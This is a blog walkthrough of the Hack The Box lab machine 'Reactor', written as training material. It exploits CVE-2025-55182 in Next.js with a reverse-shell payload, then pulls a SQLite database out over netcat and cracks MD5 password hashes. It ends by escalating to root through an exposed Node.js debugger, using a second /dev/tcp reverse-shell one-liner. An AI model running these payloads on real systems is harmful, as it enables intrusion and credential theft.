Command Palette

Search for a command to run...

Blog

HTB Box: Reactor [Easy]

After a long break, I’m back with Hack The Box Season 11. This machine was rated easy, so let’s dive in.

After a long break, I’m back with Hack The Box Season 11. This machine was rated easy, so let’s dive in.

Reconnaissance

I started with an Nmap scan:

┌──(vemacitrind㉿xiyu)-[~/Documents/hackthebox/Machine/Reactor]
└─$ nmap -sS -T4 10.129.4.20
 
# Nmap 7.95 scan initiated Mon May 25 00:12:09 2026
Nmap scan report for 10.129.4.20
Host is up (0.15s latency).
 
Not shown: 998 closed tcp ports (reset)
 
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
 
3000/tcp open  ppp

Two ports were open:

  • 22/tcp → SSH (not useful initially)
  • 3000/tcp → Unknown service

While browsing port 3000, I discovered the application was running Next.js 15.0.9. To check for known vulnerabilities, I ran Nuclei:

nuclei --target http://10.129.4.20:3000/
 
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.7.0
 
        projectdiscovery.io
 
[INF] Using Interactsh Server: oast.pro
[CVE-2025-55182] [http] [critical] http://10.129.4.20:3000/

The scan identified CVE-2025-55182, also known as React2Shell.

Initial Access

I configured Burp Suite to capture the vulnerable request and loaded the exploit.

Exploit source:

https://github.com/l4rm4nd/CVE-2025-55182

I started a listener:

nc -lvnp 12345

Then modified the payload as follows:

"_prefix": "var res=process.mainModule.require('child_process').execSync(\"bash -c 'exec bash -i &>/dev/tcp/<ip-addr>/12345 <&1'\",{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

After triggering the exploit, I received a reverse shell as the node user.

node@reactor:/opt/reactor-app$ ls
 
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db

I noticed a SQLite database file named reactor.db, so I transferred it to my local machine.

File Transfer

Receiver:

nc -l -p 5555 > reactor.db

Sender:

nc <ip-addr> 5555 < reactor.db

Credential Discovery

After opening the database with SQLite:

sqlite3 reactor.db

I enumerated the tables and extracted user credentials:

sqlite> .tables
sensor_logs  users
 
sqlite> SELECT * FROM users;
 
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

The hashes appeared to be MD5.

I cracked the engineer hash using CrackStation.

Credentials

Username: engineer
Password: reactor1

Using these credentials, I successfully logged in through SSH.

Privilege Escalation

After gaining access as engineer, I started standard enumeration:

  • sudo -l
  • Checking /etc
  • Inspecting /var
  • Reviewing running processes

Eventually, I found an interesting root-owned Node.js process exposing the V8 debugging interface locally.

ps aux
 
node 1388 0.8 3.4 11832468 134904 ? Ssl 15:13 2:23 next-server (v15.0.3)
 
root 1390 0.0 1.1 1066392 46652 ? Ssl 15:13 0:01 \
/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/work

The --inspect flag exposed the Node.js debugger on 127.0.0.1:9229.

To interact with it remotely, I created an SSH port forward:

ssh -L 9229:127.0.0.1:9229 engineer@10.129.4.20

Next, I opened Chrome DevTools and attached to the /usr/bin/node process.

From the DevTools console, arbitrary JavaScript execution was possible inside the root-owned Node.js process.

Verification

require("child_process").execSync("whoami").toString()

Output:

root

Finally, I spawned a root reverse shell:

require("child_process")
  .execSync('bash -c "bash -i >& /dev/tcp/<ip-addr>/<port> 0>&1"')
  .toString()

Root access obtained.

success

Command Palette

Search for a command to run...